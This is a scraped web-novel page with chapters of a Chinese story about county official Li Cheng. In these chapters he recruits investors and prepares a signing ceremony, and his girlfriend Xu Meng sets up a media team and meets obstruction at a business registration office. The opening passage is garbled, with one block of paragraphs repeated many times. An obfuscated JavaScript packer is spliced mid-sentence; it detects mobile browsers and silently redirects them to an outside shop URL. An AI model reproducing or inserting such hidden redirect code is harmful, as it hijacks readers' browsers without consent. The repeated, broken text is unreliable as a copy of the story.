经济水平的落后,间接会导致上访率的增加。 “嗯,我知道了。” 许梦点了点头,比起素材,她最顾虑的 ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367861|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” ,还是她孤身一人。 在来之前,她觉得她一个人可以。 可经过这几天下来,她发现,一个人不行。 别说是录制和收集素材,她连与陌生人去主动交涉的勇气都没有。 以前在电视台外访,有团队跟着,一群人围着,还有电视台节目做背书,她没什么好怕的。 现在,她只有一个人。 “宝宝,要不我还是签约个公司算了,有很多传媒公司找到我,想跟我合作呢,还有签约费。” 许梦犹豫了一番,向李承提出建议。 “签约就要被限制,我建议你先试试自己做。” 李承知道许梦的顾虑,他说:“这样,我帮你先组建个小团队,你试试看,不行再考虑签约。” “你有合适人选?” 许梦立马打起精神来,紧接着,她又担忧起来:“组建团队需要很多钱,要是做不成,钱就打水漂了。” “我觉得你一定能行,要相信自己,而且我给你挑选的这几个人,绝对信得过。” 李承小姑家的表妹,还有大舅家的弟弟,都刚大学毕业,正在找工作。 这两个人知根知底,李承从小就跟他们接触,都信任得过。 刚好适合给许梦搭建个小团队。 他知道,许梦不是没想到,只是过于孤单。 只要有人帮她搭把手,她能做出成绩。 “谁呀,我见过吗?” 第382章 真正的投票人 “我表妹杨丹你应该见过的,还有表弟张向阳。”李承说。 “杨丹我知道,有印象,她很适合当助理呀,小姑娘文文静静的,看起来就靠谱。” 李承大姑出院那天,杨丹也来医院迎接了。 那天李承和许梦还请家里人共同吃了个饭,杨丹在场,许梦对她有印象。 “等一会儿回家,我给我妈打电话,让她给你张罗。”李承将手搭在许梦的肩膀上,笑道。 “宝宝,你真好。” ‘我的爱如潮水,爱如潮水....’ 这时,李承的手机响了起来。 从口袋中掏出手机,看了一眼屏幕,李承有些纳闷。 打来电话的人,是风林县的政法委书记,辛磊。 辛磊是崔学文战线的人,李承和他平时也没什么交集,李承不知道对方这通电话的目的是什么。 这个时间,肯定与工作不相关。 两个人的工作性质和分管领域不同,日常工作交际也不多。 “喂,辛书记。” 李承接起电话,跟对方打招呼。 “李县长,你在忙吗?”辛磊淡笑着问。 “不忙,有什么事情,您说。”李承问。 “没什么事儿,刚才听刘志讲,前几天有小混混骚扰了你女朋友,事情还关系到了治安大队的副队长。 这毕竟是我主管的部门,想问问,有没有给你和你女朋友造成什么影响。”辛磊说。 听到是这件事,李承心里不禁胡乱猜疑起来。 难道,那个副队长是辛磊的关系户? “没什么影响,事情已经解决了,多谢辛书记的关心啊,哈哈哈。”李承客气的说。 “没影响就好。” 这件事,只是辛磊切入话题而找的理由,顺着话题,他问:“你们管委会步入正轨了吧,林青同志是一个好同志,你们两个配合,那是一加一大于二的结果。” “嗯,林县长工作能力很强,有责任心,产业园区也在向着积极的方向发展。” 李承嘴上迎合着,心里却泛起嘀咕。 辛磊是政法委书记,主抓政法系统。 县里的经济发展,跟他没有直接关联。 “那就好,这些年我跟林青同志的接触也很多,我非常认可她,而且,石文海老书记对林青同志,也非常关注。 这次林青复职,石老书记还亲自给我打了电话,命令我一定要帮忙投上一票。 我这位老领导,退休这么多年,还一直为县里的发展操心,我和他也算是所见略同啊,呵呵呵....” 辛磊一番话下来,看似是在夸赞石文海的责任感。 实际上,也是向李承表达一个观点。 在常委会上,给林青投票的人,并非是崔学文,而是他辛磊。 闻言,李承微微一怔。 他一直认为,投票的人是崔学文,而石文海并没有给予帮助。 可结果.... 李承并不怀疑辛磊这番话的真实性。 他找石文海,请对方出手帮忙拉票这件事,没有外人知情。 “产业园区能步入正轨,还要多谢辛书记那关键的一票。” 李承不会去追问辛磊,验证到底是他和崔学文谁投的那一票。 李承心里有了分析,就要按照自己的分析来判断。 “应该的,作为风林县的县委常委,投给更适合县发展的人选,是我应尽的责任。” 辛磊正义凛然的说:“我其实,打心眼里厌倦拉帮结派和官僚主义。 你的到来,让我看到了风林县解决这一乱象的希望。 放心,只要是为了县里发展好,我都会支持你。” “谢谢您,辛书记。” 李承发自内心的对他表示感谢。 两人又简单聊了两句,这才挂断电话。 揣起手机,李承脸上微微洋溢起笑容。 他和辛磊接触不多,但通过这次电话,辛磊给他留下了很好的印象。 辛磊能给林青投票,石文海老书记的面子,只是一方面。 毕竟,石老书记已经退休了,没有干涉辛磊决策的实权。 他能投票,这证明,他心底里还是站在了风林县的发展角度,为全县大局考虑。 至于说,其中有没有私心,当然会有。 每个人都有私心,包括李承。 辛磊在这个阶段给李承打电话,就是带着私心的。 辛磊知道,崔学文那边已经站不住脚,他想跟李承提前建立起关系。 这样,在接下来可能存在的政治斗争中,不至于被殃及池鱼。 他的这份私心,李承也清楚。 但这是完全可以接受和理解的! 只是令李承没想到,口口声声拿选票道德绑架他的崔学文,并不是那个投票者。 得知这个答案,李承心里那一丝感性彻底消除。 他更加觉得,和陈红旗达成的一致,是最正确的选择! 虽说,陈红旗不是什么好东西。 但崔学文也是真小人.... 回到家,李承给母亲董丽打去视频。 “还算你孝顺,知道给你老妈打个电话。” 电话接通,董丽板着脸,问:“你跟许梦怎么样了?” “挺好的。” 李承说话时,许梦凑了过来,跟董丽打招呼:“阿姨。” “哎...梦梦。” 看到许梦出现在画面中,董丽脸上立马流露出灿烂的笑容,变脸堪比翻书:“这个臭小子有没有欺负你呀?你跟阿姨说,阿姨给你出气。” “没有,对我很好。” “那就行。” 寒暄了几句,李承开口问:“妈,杨丹和张向阳,最近干什么呢?” “丹丹好像在找工作,张向阳上班了,去送外卖去了。”董丽想了想,回答道。 “哦,那你帮我问问丹丹,愿不愿意来风林县,给许梦当助理,每个人底薪五千。”李承说。 底薪五千,已经超过平均工资水平。 想要招助理,五千块钱的工资,别说在风林这个小县城,就是在封兰市也大有人在。 但杨丹是表妹,知根知底,又有亲戚关系,更放心。 “行,我明天问问你小姑。” 董丽答应,说:“那我用不用再给你问问张向阳呀?” “不用,他有工作就让他好好上班吧。”李承拒绝。 许梦的传媒公司毕竟还没运转起来,不稳定。 再说,送外卖虽然辛苦,但工资高,李承这边也给不到高薪。 他打算,再从本地招一个员工来。 “好,知道了。” 第383章 入驻率 接下来的几天里,李承主要忙于招商。 七个招商小组,经过培训,全部被派出去跟企业谈招商。 李承虽然不用亲自去南陵,但还有一大把工作等着他决策和跟进。 修路要监督,财政批款要催促。 还有,招商小组的请示工作,需要李承去分析决策。 一些大规模企业,李承也要亲自打电话做回访,进行跟进,去谈判具体优惠政策。 以及,每晚招商小组回来,李承还要根据办公室人员对招商小组做出的谈判记录,进行一个复盘。 复盘是提升团队招商能力的重要部分。 具体情况,具体分析,各个团队遇到的问题分享出来,等其他团队日后遇到,也知道如何去应对。 复盘是一个极其耗费时间的工作,尤其是给七个招商小组复盘。 基本每天复盘会议就要三个小时起步。 李承每晚都要加班到七点多,直到复盘会议结束。 李承加班,所有人员也要跟着他加班。 工作强度的增加,也让不少人对李承有了埋怨。 但这份埋怨都是背地里的,没有人敢当面讲。 李承虽有耳闻,却也装作视而不见。 ‘我的爱如潮水,爱如潮水将我向你推...’ 这天上午,李承坐在办公室里,分析着招商小组,做出的意向企业汇总时,座机电话响了起来。 “喂,您好。”李承接通电话。 “李县长您好,我是北方重型装备的总裁秘书。”刘秘书温柔的声音,传了过来。 “刘秘书,你好。” “金总让我通知您,经过股东大会的决定,我们集团准备入驻到风林县产业园区。 金总让您做一下签约的前期准备。”刘秘书笑着说。 “好,我这就安排人去准备。” 闻言,李承心中欣喜:“辛苦你了,刘秘书。” “应该做的。” 自从上次见面后,李承每隔两天都会给金总打电话跟进。 终于,功夫不负有心人。 在风林县产业园区和吾月县产业园区的选择中,北方重型装备做出了倾向风林县的选择。 挂断电话,李承给林青打了一通电话,确定对方在办公室后,他马不停蹄的赶了过去。 ‘咚咚咚...’ “进。” 敲响房门,李承推门走进办公室。 林青正在跟联络员交代工作,看到李承进门,林青对联络员说:“小王,你先出去吧。” “好的书记。” 王秘书站起身,在路过李承身边时,跟李承打了一个招呼:“李主任。” “嗯。” 李承微微点头,走到林青对面坐下。 “林书记,北方重型装备已经同意入驻咱们风林县。”李承将这个好消息告诉林青。 “太好了。” 林青闻言,脸上流露出喜悦的笑容。 北方重型装备,这家市值三十亿的企业入驻风林县,对整个县的经济发展是重大利好。 除税收之外,还能带动的各个产业链,就业岗位等... 并且,北方重型装备将成为风林县的一大招牌,定海神针。 他入驻的动向,会侧面影响很多企业的决策,加深那些观望中的企业信心。 “我的想法是这样的,举办一个大型的签约仪式,对此次签约进行重点宣传。”李承提出想法。 “好,具体你来安排就行。” 这种大型企业的签约,本就该用最高的仪式招待。 这部分的钱,不能省。 “我还有一个想法,你听听看,觉得有没有可行性。”李承说。 对于这个想法,李承要跟党工委书记进行商议。 管委会不是李承的‘一言堂’,需要沟通决策。 “你说。” “我想借着这次和北方重型装备的签约仪式,举办一场企业座谈会。 将那些有意向投资建厂的企业全部找过来,让他们最直观的见证这场签约。” 亲眼所见的冲击力最强。 李承认为,比起登新闻,上报纸,让那些企业听说北方重型装备的入驻信息,不如让他们到现场看。 这样,更有利于后续谈判,甚至可以做现场逼单。 这是举办企业座谈会的好处。 当然,也有弊端。 可能会破坏跟北方重型装备的气氛,引人反感。 “这个想法不错,可以试一试。” 林青对于李承存在一定的个人崇拜,所以,对待李承的任何提议,她都会百分百的支持。 “嗯....我去跟金总沟通一下,听听他们企业的意见,如果他们介意的话,就不办了。” 李承思考了一番,说。 趁着跟对方签约的机会,达到招商的目的,会给人一种利用对方的感觉。 所以,这件事要事先沟通,这是最基本的尊重。 “好,你来定就行。” 林青微笑点头,说:“对了,我刚才接到通知,这个月末二十八号,省里的视察组会下来。 视察产业园区的招商情况,梁省长也会来。” “知道了。” 最近李承没有跟杨兆华联系,对于这个消息,他没有提前接到通知。 “北方重型装备的这次签约,对我们来说是雪中送炭,不然啊,我还真没脸见省里的领导。” 林青苦笑一声,说。 在李承到达风林县之前,产业园区的招商可谓是停滞不前,一团糟。 产业园区成立将近一年,虽然,前期的基础建设花费了一些时间。 可一年的时间,园区还没有大的进步,这是无能的表现。 好在,北方重型装备签约了。 有这个大企业兜底,好歹能给省里的领导,交出一份答卷! “这只是刚刚开始,今年年末,我们一定可以给省里一个满意的答卷。 今年我的目标,就是把园区入驻率达到百分之七十。” 李承认真的说,眼神中充满坚定。 他要用一年的时间,将园区的入驻率达到百分之七十以上,给风林县的未来,打造坚固地基。 “以前我没这个信心,一年时间百分之七十入驻率,我会认为是痴心妄想。 你来了,我相信一定可以!” 林青眼神中充斥着希望的光芒,她说:“李主任,你只管招商,剩下的一切问题,我来给你兜底。” “好。” 第384章 签约座谈会 回到办公室前。 李承推开了戚瑶秘书间的门。 “李县长。” 正在看着资料,进行学习,见到李承进门,她连忙站起身问好。 “在看什么呢?”李承闲聊的问。 “在看招商引资企业的资料。”戚瑶说。 作为联络员,她得备足功课。 李承要管理整个管委会的大局,工作繁忙,她想为李承分担一些。 虽在决策上,她给不出什么意见,也没资格提任何意见。 至少,凡是有关企业的问题,她传递和对接时能更顺畅,节省李承的时间。 “嗯。” 李承微微点头,对戚瑶的工作态度很满意。 “你通知一下管委会的所有副主任,三点钟到会议室开会。”李承低下头,看了一眼腕表上的时间,吩咐道。 “好的李县长。” 关于与北方重型装备的签约仪式,李承不可能亲自去布置。 这些,要交给办公室的同志去安排。 回到办公室。 李承拿起手机,给北方重型装备的金总,去了一个电话。 关于将签约仪式变成座谈会的想法,李承必须先跟金总打个招呼,争取对方的同意。 ‘嘟..嘟..嘟....’ 电话响了二十多秒,金总才接通电话。 “喂,金总,我是风林县的李承。”李承自我介绍。 “李县长,你好。”金总客气一句。 “很感谢您对我们风林县的认可和支持,我想问您一下,贵公司什么时间方便签约?” 李承客套了一番,用征询的语气,问。 “随时。” 金总淡淡的回了两个字。 “是这样金总,我有一个想法,想征询一下您的意见。”李承态度谦卑。 “李县长,你说。”金总道。 “我打算在签约那天,搞一个企业招商座谈会,让一些意向投资我们县的企业过来见证一下。” 李承委婉的说。 金总是聪明人,李承这番话的真实用意,他一听便知。 “李县长是想让我们集团给那些企业做个表率,对吗?”金总淡淡一笑,说。 “什么也逃不过您的眼睛,是呀,现在风林县的招商正处于攻坚阶段。 北方重型装备是未来我们园区的招牌企业,这次签约县里和市里都很重视,我认为正好是一次向其他意向企业证明我们风林县营商环境的好机会。 所以,给金总打这通电话,就是想请您帮个忙。” 李承也不遮遮掩掩,直截了当的说出自己的真实意图。 这番话说完,李承紧接着又补充道:“您要是觉得不方便也没关系。” 李承在用最谦逊的话,告诉金总,他才是风林县最重要的客人。 一切,按照他们的意向来。 不为难,不强求。 “没什么不方便,既然选择与李县长和风林县合作,我们集团也要为园区担起社会责任。” 金总很爽快的答应下来。 在金总看来,这次座谈会的召开,对他们集团有利无害。 第一,可以和一些老朋友叙旧,也能结识一些新的企业家朋友。 到了他们这个层次的人,格外看重人脉关系。 第二,他也希望风林县产业园区能够尽早完成招商,有更多的企业可以入驻进来。 这样的话,管委会的工作重心可以放到建设园区和企业本身。 并且,可以达成内部产业链。 有些零部件,直接从园区内部的其他生产公司购买,省去了物流环节,效率更高,也更实惠。 第三,他还可以卖给李承和管委会一个人情。 他经商多年,见过各种形形色色的政府干部,企业要运转,就要跟政府打好关系。 别看现在招商环节,政府部门是求着他们来。 可一旦企业建厂入驻,那就动不了了。 到那个时候,他们就要听从政府的安排,主动权将会换人。 与其后期去公关,不如提前先把人脉建立起来。 “感谢金总的大力支持。” 见金总回答的这么痛快,李承脸上流露出笑容。 “支持是相互的。”金总道。 “您放心,以后贵公司有任何需要政府支持的地方,我们管委会和风林县政府,也会全力支持。” 李承听懂金总的言外之意,立马表态。 “呵呵呵...那就提前预祝我们合作愉快。”金总笑呵呵的道。 “嗯,合作愉快。” ...... 下午三点。 李承和几位副主任,坐在一起开会。 会议内容主要围绕北方重型装备的签约一事。 “北方重型装备,是目前我们园区谈成的最大一家公司,甚至说,它将是我们产业园区未来的支柱企业。 这次签约,不单单是签约,还是一场意向企业的座谈会。 所以,对于这次签约、座谈仪式,必须要正式,要隆重。 届时,除各大企业代表会到场之外,县里,市里的领导也会来参加。 可以说,这是一次向领导,向企业展示我们风林县的机会,一定要办好,办得漂亮,不能出现任何的差错!” 李承坐在主位上,认真强调。 他虽然还没有邀请市里领导,但李承很有自信,只要他打电话,市委书记周安,市长冯坤,最起码会到场一位。 这不仅仅是看李承的面子,还是他们的正常工作范围。 毕竟,这次签约座谈会是风林县发展的风向标,作为市级领导,在这种重要时刻,一定要露面的。 “具体布置内容,田鑫同志,你亲自把关。” 李承强调完这场仪式的重要性后,目光看向常务副主任田鑫,吩咐:“尽快拿出策划书来。” 会场布置,以及整体流程,需要一个策划。 李承将任务交给田鑫,但最后拍板决策采用哪个策划,还要李承决定。 “好的,李主任。”田鑫点头答应。 “LED的屏幕,要用好的,确保足够清晰,以及会场所有人都能看得清楚。”李承叮嘱。 他在省政府当秘书时,就曾见证过尴尬场面。 孟良德在参加一个‘干部作风建设,优化营商环境’为主题的大会上讲话时,突然LED屏幕的中间几个部分息屏。 导致出现一场颇为滑稽的闹剧。 第385章 我可以学 “还有,LED屏幕的品牌一定选好,绝对不可以出现中途断电的情况。” 李承再次强调,他要避免那场闹剧的再现。 虽说,断电是偶然事件,但选好品牌,掐好品质,就能最大程度的避免。 “李主任,一个屏幕,至于您这么反复强调吗?”田鑫脸上带着笑意,随口询问。 “至于呀,我在省里工作时,参加了一个干部作风的大会,就因为会议中途息屏,至今那场会议还是笑料。” 提起这件滑稽事,李承也就跟他们分享起来:“会议是以‘万众一心谋发展,攻坚克难反四风。’作为主题。 结果,中间部分息屏,发展和攻坚克难六个字消失。 一个干部作风建设的大会,主题成了一心谋反,现在那场会议,大家还称呼它为谋反大会。” “哈哈哈...” 听到李承的分享,大家跟着笑了起来。 “哈哈哈...您放心,这种情况,我一定杜绝掉。”田鑫笑着保证。 “嗯。” 对于田鑫这个人,李承还算放心。 他的工作能力可以,之前对他的疏远,因为他是陈红旗的人。 可现在,李承跟陈红旗达成了一致。 相应的,对于陈红旗的人,他也能降低防备。 “李主任,合同要尽快拟出来。” 会场布置的问题吩咐完,李承看向分管招商局的副主任李俊愧。 合同的起草主体,是由招商局执行。 “好。”李俊愧点头。 “各个部门也要协调好工作,要打起十二分的精神来应对这次签约座谈会!” ...... 今晚的招商复盘会议,李承交给了分管招商的副主任李俊愧。 他作为招商的第一责任领导,每次复盘会议,加班加点,李承都拉着他一起。 毕竟,李承这位常务副县长兼管委会主任都亲自加班,他没有理由下班。 这几天的复盘,李俊愧也摸透了流程,李承便将这一重任交给他。 但戚瑶被李承留了下来,进行会议监督。 今晚,李承要跑一趟滨西市接杨丹。 在董丽的劝说下,杨丹答应过来跟许梦一起做自媒体,担任许梦的助理。 晚上七点。 杨丹提着行李箱,出现在李承和许梦的视线中。 “杨丹,这里。” 李承举起手,冲杨丹打招呼。 杨丹听到李承的呼唤,目光锁定两人后,快步走了过来。 “哥,许梦姐。” 杨丹推了推眼镜,笑着跟李承二人打招呼。 “嗯,饿了吧?” 李承从她手里接过行李,问。 “有点。” 杨丹从小就跟在李承屁股后面,对于这位表哥,她并不客气。 “想吃什么,随便挑,我安排。” 许梦看到杨丹,就仿佛看到了救星一般,格外热情。 许梦缺的不是一个助理,而是一个可以全程陪同她的人,李承不能陪她找素材,杨丹就成了她工作上的心灵寄托。 “吃饺子吧。”杨丹说。 “你有没有点出息,你许梦姐请回客不容易,还不狠狠宰她一顿。”李承开了句玩笑。 “那吃烤鱼,我看网上推荐,说滨西有一家烤鱼很特色。”杨丹提议道。 她是一个美食爱好者,在来的路上,她就将滨西市的美食看了一遍。 “你个吃货,来之前没少做攻略呀。”李承调侃一句。 “哈哈哈...” 杨丹尴尬的挠了挠头:“哥,你别揭短呀。” 一行三人在滨西市吃过晚饭,赶回风林县已经是晚上十点。 在杨丹来之前,李承就已经替她租好了房子。 给杨丹送回住处,三个人坐在沙发上,又聊了一会儿天。 “许梦姐,我的主要工作是什么呀?” 杨丹只知道,许梦是在创业自媒体,需要一个助理。 但她的具体工作内容是什么,她并不清楚。 其实,在答应来工作之前,杨丹也纠结了很长时间。 她需要一份工作,五千块钱的底薪不低,对于这份薪资她很满意,换做是其他人,她早就答应了这份工作。 但正因为她是李承的表妹,有这层亲戚关系,她不想给李承丢脸。 她怕自己做不好。 “你的工作就是陪着我收集素材,和剪辑视频。” 许梦简单介绍了一下工作内容,问:“你会剪辑吗?” “不会,但我可以学。”杨丹认真的说。 不会不要紧,就怕什么都不会,还不是上进,不去学习。 杨丹的这份态度,让许梦满意。 她看向李承,笑着调侃:“你看表妹这态度,不会知道学,每次问你什么,你就知道说不会。 下次,你也要加上,可以学三个字,听到没?” “知道了。”李承点头。 看到两个人的恩爱,杨丹突然想起网上的一个段子,玩笑地问李承:“哥,那你以后会家暴许梦姐吗?” “不会,但我可以学。” 李承知道这是句玩笑,立马接住了话茬。 许梦闻言,故作生气的撅起嘴,问:“那你以后会出轨吗?” “不会,但我也可以学。”李承笑呵呵的答道。 “嗯,好好学。” 许梦脸上挂着凶狠的微笑,她的手挽住李承的胳膊,手指用力掐在了李承手臂内侧皮肤最嫩的地方。 “嘶...” 李承疼得倒吸一口冷气,连忙改口:“不学了,我不会。” “哼。” 许梦轻哼一声,看向一旁幸灾乐祸的杨丹:“丹丹,你的工作很简单,不要有压力,我都可以教你。” “嗯,好。”杨丹点头。 “你许梦姐就是缺一个人陪着她。”李承一语道破事实。 “那我们明天就开始工作呗?”杨丹问。 “嗯,明天就开工,我们先去注册一个营业执照。”许梦说。 许梦是有远大梦想的,她的目标不止是收广告费。 她还要直播带货。 如果带货,就需要一个营业执照,她想先办下来,以备不时之需。 “好。”杨丹点头。 “那你早点休息吧,我们就先回去了。”许梦打了一个哈欠,她也有些困了。 离开杨丹的出租屋,在回家的路上,李承随口问:“许老板要注册公司了呀,名字想好了吗?” “早就想好了。”许梦得意一笑。 “叫什么?” “梦李传媒,李承的李,好听吧?” “额...好听吧。” 第386章 吹毛求疵 次日。 许梦和杨丹准备好办营业执照的资料,早早就去工商局。 排了一上午的长队,临近十一点半,才排到了她们。 “你好,我要办一个营业执照,这是资料。”许梦将资料递交给办事人员。 工作人员接过材料,随意的扫了一眼后,将材料又推了回来:“你这个办公场所是个人住宅是吧?这不办不了。” “不是住宅,是公寓,商住两用的。”许梦说。 她给杨丹租的房子,是一个公寓楼。 租房子时,许梦就考虑到了办理营业执照的问题,特意租的公寓。 “哦。” 工作人员随意的应了一声,又拿回了资料。 她再次看了一遍,又摇了摇头:“你这个房东的身份证不清楚,去补一个吧。” “姐,旁边就有复印社,你把照片发我,我去打印。”杨丹说。 “好。” 许梦拿起手机,翻找房东的身份证电子版。 “你去旁边等,别耽误后面的人办业务。”工作人员有些不耐烦的说。 “知道了。” 许梦看了一眼身后,因为临近下班,只有一个人在排队。 她收起资料,让出了位置。 五分钟后,杨丹带着打印好的身份证回来。 两个人站在后面又排了十分钟左右。 “这回身份证清楚了。”许梦将材料递交上去,说。 工作人员看了一眼时间,说:“下午再过来吧,要下班了。” “全国统一卡点是十二点下班,这还有十几分钟呢。”许梦看了一眼手机屏幕,说。 “系统关闭了,下午再来。” 对方压根没有理会许梦,随口应付了一句,直接起身离开,跟旁边的工作人员聊起了天。 见状,许梦很是气愤。 但他不想给李承添麻烦,也没有多说,和杨丹离开了工商局。 两个人在附近吃了一口饭。 早早的去工商局等待,排在了第一位。 下午一点半,许梦再次将资料递交了上去。 工作人员拿起资料,指着租房合同,说:“你这个租房合同上,没有写明要商用,去找房东改一份吧。” 工作人员再次将资料退了回来。 “你看看,还有哪些不合格的地方,我一起改,这样也节省我们的时间。” 许梦是记者出身,她见过很多这种情况。 能随手解决的小麻烦,不给解决。 一个问题挑出来,还有另一个问题等着。 尤其是小地方,这种情况最常见,索性,她也就想问个清楚。 “没有其他的了,去改吧。” 工作人员装模作样的又看了一遍,敷衍说。 “行。” 下午,许梦和杨丹又找了一趟房东,把合同填上了可商用的字眼。 再次返回工商局,许梦看着排起的队伍,有些无奈。 明明那么多工作人员没事干,却只开放了两个窗口,这种办事效率低的可怕。 排了一个多小时,许梦在这期间也在观察其他人的办事情况。 她发现,有些人办的异常顺利。 有些人却跟许梦一个情况,被吹毛求疵。 其中,许梦看到了两个人,不是工作人员,却不停带着人办手续。 而且,只要这两个人出现,办事效率就很高。 许梦猜测到,这两个人可能是黄牛。 排到许梦时,她再次将资料递交了上去。 工作人员看了一眼,再次摇了摇头:“你租的这个房子,是商住两用的,这种房子办营业执照,必须经过全楼业主的签字才行。” “整栋楼,几十户业主,有些人不住在这里,这怎么签?” 许梦是一个好脾气,被这几番折腾下来,脸上也露出不悦的表情。 几十户业主签字,那就是在开玩笑,根本不可能做到。 “那没有办法,少一户签字都办不了,要不你就换一个地址。”工作人员打发道。 “没有签字,就办不了吗?”许梦反驳。 “对,办不了。” “我查了一下,只有七十年的住宅才需要全楼签字,我们这是小产权的公寓,不用的。” 在许梦和工作人员交涉的期间,杨丹在搜索引擎上查了条例。 